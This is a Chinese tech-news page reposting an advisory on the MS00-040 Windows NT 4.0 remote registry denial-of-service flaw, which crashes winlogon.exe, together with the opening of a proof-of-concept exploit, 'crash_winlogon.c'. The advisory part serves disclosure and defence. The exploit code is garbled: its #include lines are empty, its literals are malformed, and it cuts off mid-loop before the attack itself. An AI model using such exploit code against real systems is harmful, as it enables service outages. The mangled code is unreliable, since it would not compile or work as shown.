扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
59、Windows NT 4.0 远程注册表拒绝服务攻击漏洞
Windows NT 4.0 远程注册表拒绝服务攻击漏洞发布日期:
受影响的系统: - Microsoft Windows NT 4.0 Workstation-
Microsoft Windows NT 4.0 Server- Microsoft Windows NT 4.0 Server, Enterprise Edition- Microsoft Windows NT 4.0 Server,
Terminal Server Edition
不受影响系统: Windows 2000
描述: 在远程主机对注册表的访问请求被处理前,需要先经由远程注册表server进行认证。如果提交一个错误格式的请求,会让远程注册表server错误得进行解释,并发生错误,不能正常工作。
在Windows Nt 4.0中,由于注册表server包含在winlogon.exe这一系统进程里,这个进程出错将导致整个系统不可用。注意,只有一个已经通过
认证的用户才能发起这样的请求,匿名(空会话)连接不能导致这种拒绝服务攻击。受到攻击的系统必须重新启动才能正常工作。<* 来源:
Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*>
测试程序: 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! /** crash_winlogon.c**
by Renaud Deraison - deraison@cvs.nessus.org** This code is released under the GNU General Public License.*
(thanks for respecting this license)** In case you are wondering, here is the motto I applied for this code :**
"Structures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x,y) memset(x, 0, y)#else#include #include
#include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, len;char * ret =
malloc(40);bzero(ret, 40);len =
strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] / 16) + "A"; omod =
(orig[I] % 16) + "A"; ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod; }}return(ret);}char *
netbios_redirector(){int I;char * ret =
malloc(31);bzero(ret, 31);for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char *
data){int len = strlen(data);int I;char * ret =
malloc(110);int l = 0;bzero(ret,110);for(I=0;I
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。